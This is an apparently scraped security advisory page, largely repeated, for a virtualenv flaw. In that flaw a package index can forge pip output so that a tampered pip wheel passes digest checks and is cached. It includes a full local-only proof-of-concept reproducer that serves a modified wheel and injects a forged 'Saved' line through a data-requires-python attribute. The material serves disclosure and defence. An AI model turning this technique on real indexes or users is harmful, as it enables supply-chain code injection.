\"pip\" / \"index.html\").open(\"a\") as page:\n page.write(\n \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n for entry in genuine.infolist():\n content = genuine.read(entry)\n if entry.filename == \"pip/__init__.py\":\n content += ADDED_CODE\n modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n releases, links = {}, []\n for filename, sha256 in BUNDLE_SHA256.items():\n name, version = filename.split(\"-\")[:2]\n if name != project:\n continue\n shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n requires_python = escape(metadata[\"Requires-Python\"])\n links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n (index_dir / \"simple\" / project).mkdir(parents=True)\n (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n project = url.split(\"/\")[4]\n return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
"id": "BREW-pipenv-CVE-2026-113714",
"modified": "2026-10-30T08:53:32Z",
"published": "2026-10-26T09:13:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3430"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "virtualenv: Downloaded wheel selection and caching precede verification",
"upstream": [
"GHSA-494p-63j8-28p3",
"CVE-2026-113714",
"BIT-virtualenv-2026-113714"
]
}
BREW-POETRY-CVE-2026-113714 (GHSA-494P-63J8-28P3)
Vulnerability from osv_homebrew – Published: 2026-10-26 09:10 – Updated: 2026-10-29 22:19 – Source websiteSummary
Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache.
Anthropic's OSS Scanner reported this as ANT-2026-ST00DRO3 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Download selection and promotion into the reusable wheel cache.
Attacker-controlled input
A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison.
Affected code
The relevant 21.14.8 source is in wheel download and digest check.
Mechanism
download_wheel() tells pip to write directly into the reusable wheel/house cache. It then selects a path to hash
from the first Saved line in pip's stdout, rather than from the file pip actually placed there. A package index can
inject such a line through a discarded link's data-requires-python attribute. A separate failure exists without the
forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain
there. Later wheel selection does not hash the cached file again.
Reproduction and evidence
The scanner used a local index configured in pip.conf, with PyPI digest comparison still enabled. In the control case
it served a modified pip wheel alone. virtualenv --upgrade-embed-wheels refused the mismatch, and a subsequent
environment used the bundled pip. In the attack case the index added a link whose data-requires-python contained a
forged Saved <path> line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded
the modified wheel in its update log, and a later environment's pip --version ran a line added by the index. The
reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.
The report also shows that a refused wheel can replace a previously accepted file of the same name in wheel/house,
leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The
gap follows the digest check added in #3251, first released in 21.7.12.
PR #3430 downloads to a private temporary directory, verifies the actual
archive, and promotes it only after acceptance.
Attack sequence
sequenceDiagram
participant I as Configured index
participant P as pip download
participant C as wheel/house cache
participant V as virtualenv digest check
participant N as New environment
I->>P: modified wheel and forged Saved line
P->>C: write modified wheel directly
P-->>V: stdout names genuine bundled wheel
V->>V: hash genuine wheel and accept
V->>C: record modified wheel for reuse
C->>N: seed modified pip without rehash
Note over P,C: Even a rejected wheel can remain in the cache
Reproducer files
The following files are from the scanner report for ANT-2026-ST00DRO3. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import atexit
import hashlib
import json
import os
import shutil
import subprocess
import sys
from pathlib import Path
companions = Path("/tmp/repro.d")
work = Path("/tmp/forged-saved-line")
home = work / "home"
app_data = home / ".cache" / "virtualenv"
this_python = f"{sys.version_info.major}.{sys.version_info.minor}" # the target; each Python has its own update log
update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json"
virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"]
as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True}
added_code_prints = "code added by the index" # the line index_serves_modified_pip.py adds to pip/__init__.py
def user_upgrades_seed_wheels_and_creates_env():
# each case starts from an empty app-data
shutil.rmtree(app_data, ignore_errors=True)
shutil.rmtree(home / "env", ignore_errors=True)
upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user)
# --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach
subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True)
pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True)
# one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0
refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None)
logged = []
if update_log_of_pip.exists(): # a failed update writes no log
logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]]
return refusal, logged, pip_version.stdout.splitlines()
# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it
shutil.rmtree(work, ignore_errors=True)
(home / ".config" / "pip").mkdir(parents=True)
shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf")
subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True)
index_server = subprocess.Popen(
[sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"],
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
text=True,
)
atexit.register(index_server.kill)
assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start" # printed once bound
# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it
subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
print("CONTROL modified pip: --upgrade-embed-wheels refused with:", refusal)
print("CONTROL modified pip: update log of pip lists", logged)
print("CONTROL modified pip: pip --version in the new env prints", pip_says)
control_ran_added_code = added_code_prints in "\n".join(pip_says)
# attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output
subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl"
stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()
pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"]
print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal)
print("OBSERVED + forged line: update log of pip lists", logged)
print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256)
print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256)
print("OBSERVED + forged line: pip --version in the new env prints", pip_says)
attack_ran_added_code = added_code_prints in "\n".join(pip_says)
# check: the same modified wheel, refused without the forged line, is seeded with it
print("BUG" if attack_ran_added_code and not control_ran_added_code else "OK")
repro.d/index_forges_saved_line.py
"""Attacker, as the operator of the index the user's pip.conf names: make pip print a "Saved <path>" line of its choice.
usage: index_forges_saved_line.py <index_dir>
Adds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.
"""
import shutil
import sys
from pathlib import Path
# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,
# at the same path for every user of this image
GENUINE_WHEEL_ON_USERS_DISK = "/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl"
index_dir = Path(sys.argv[1])
# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with
# "Discarding <link> (requires-python:<attribute>): ... has inconsistent version" on stdout
shutil.copy(index_dir / "files" / "pip-26.2.1-py3-none-any.whl", index_dir / "files" / "pip-100.0-py3-none-any.whl")
# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; is a line feed
with (index_dir / "simple" / "pip" / "index.html").open("a") as page:
page.write(
'<a href="/files/pip-100.0-py3-none-any.whl"'
f' data-requires-python=" Saved {GENUINE_WHEEL_ON_USERS_DISK} ">pip-100.0-py3-none-any.whl</a>\n'
)
repro.d/index_serves_modified_pip.py
"""Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.
usage: index_serves_modified_pip.py <index_dir>
pip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,
virtualenv's comparison with PyPI's SHA-256 catches this.
"""
import hashlib
import io
import sys
import zipfile
from pathlib import Path
ADDED_CODE = b'\nprint("code added by the index runs as uid", __import__("os").getuid())\n'
index_dir = Path(sys.argv[1])
wheel = index_dir / "files" / "pip-26.0.1-py3-none-any.whl"
genuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))
with zipfile.ZipFile(wheel, "w") as modified:
for entry in genuine.infolist():
content = genuine.read(entry)
if entry.filename == "pip/__init__.py":
content += ADDED_CODE
modified.writestr(entry, content)
# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's
# download folder first, and pip replaces a file of the same name there only when the link's digest differs
sha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()
(index_dir / "simple" / "pip" / "index.html").write_text(
f'<!DOCTYPE html>\n<a href="/files/{wheel.name}#sha256={sha256}">{wheel.name}</a>\n'
)
repro.d/pip.conf
[global]
index-url = http://127.0.0.1:8099/simple
repro.d/pypi_json_and_mirror.py
"""Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.
usage: pypi_json_and_mirror.py <pypi_dir> <index_dir>
The wheels bundled with virtualenv are genuine PyPI files. <pypi_dir>/<project>.json is what
https://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.
<index_dir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files.
"""
import json
import shutil
import sys
import zipfile
from email.parser import HeaderParser
from html import escape
from pathlib import Path
from virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256
pypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])
pypi_dir.mkdir()
(index_dir / "files").mkdir(parents=True)
for project in ("pip", "setuptools"):
releases, links = {}, []
for filename, sha256 in BUNDLE_SHA256.items():
name, version = filename.split("-")[:2]
if name != project:
continue
shutil.copy(BUNDLE_FOLDER / filename, index_dir / "files")
releases[version] = [{"filename": filename, "digests": {"sha256": sha256}, "upload_time": "2026-01-01T00:00:00"}]
with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:
metadata = HeaderParser().parsestr(wheel.read(f"{name}-{version}.dist-info/METADATA").decode())
requires_python = escape(metadata["Requires-Python"])
links.append(f'<a href="/files/{filename}#sha256={sha256}" data-requires-python="{requires_python}">{filename}</a>')
(pypi_dir / f"{project}.json").write_text(json.dumps({"releases": releases}))
(index_dir / "simple" / project).mkdir(parents=True)
(index_dir / "simple" / project / "index.html").write_text("<!DOCTYPE html>\n" + "\n".join(links) + "\n")
repro.d/virtualenv_with_local_pypi_json.py
"""Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.
usage: virtualenv_with_local_pypi_json.py <pypi_dir> <virtualenv arguments...>
Only the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypi_dir>/<project>.json.
pip, the index pip talks to and the rest of virtualenv are the real thing.
"""
import sys
from pathlib import Path
from unittest import mock
from virtualenv.__main__ import run_with_catch
pypi_dir = Path(sys.argv[1])
def pypi_json_api(url, context):
assert url.startswith("https://pypi.org/pypi/") and context is None, url
project = url.split("/")[4]
return (pypi_dir / f"{project}.json").open("rb")
with mock.patch("virtualenv.seed.wheels.periodic_update.urlopen", pypi_json_api):
run_with_catch(sys.argv[2:])
Impact
A file rejected during download verification can remain available for later cache selection. Exploitation requires additional control over the downloaded data or archive selection; this finding alone does not bypass TLS.
Severity: low.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix downloads into a private temporary directory and verifies archive identity, requested version, digest where applicable, and Python compatibility before promoting a wheel into the reusable cache.
Fix: PR #3430.
Known mitigation
After a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing unexpected download failures.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@21.14.13",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "poetry",
"purl": "pkg:brew/poetry"
},
"ranges": [
{
"events": [
{
"introduced": "2.5.0"
},
{
"fixed": "2.5.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@21.14.13",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "21.14.13"
}
]
},
"details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant I as Configured index\n participant P as pip download\n participant C as wheel/house cache\n participant V as virtualenv digest check\n participant N as New environment\n I-\u003e\u003eP: modified wheel and forged Saved line\n P-\u003e\u003eC: write modified wheel directly\n P--\u003e\u003eV: stdout names genuine bundled wheel\n V-\u003e\u003eV: hash genuine wheel and accept\n V-\u003e\u003eC: record modified wheel for reuse\n C-\u003e\u003eN: seed modified pip without rehash\n Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\" # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\" # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n # each case starts from an empty app-data\n shutil.rmtree(app_data, ignore_errors=True)\n shutil.rmtree(home / \"env\", ignore_errors=True)\n upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n logged = []\n if update_log_of_pip.exists(): # a failed update writes no log\n logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\" # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL modified pip: update log of pip lists\", logged)\nprint(\"CONTROL modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n page.write(\n \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n for entry in genuine.infolist():\n content = genuine.read(entry)\n if entry.filename == \"pip/__init__.py\":\n content += ADDED_CODE\n modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. 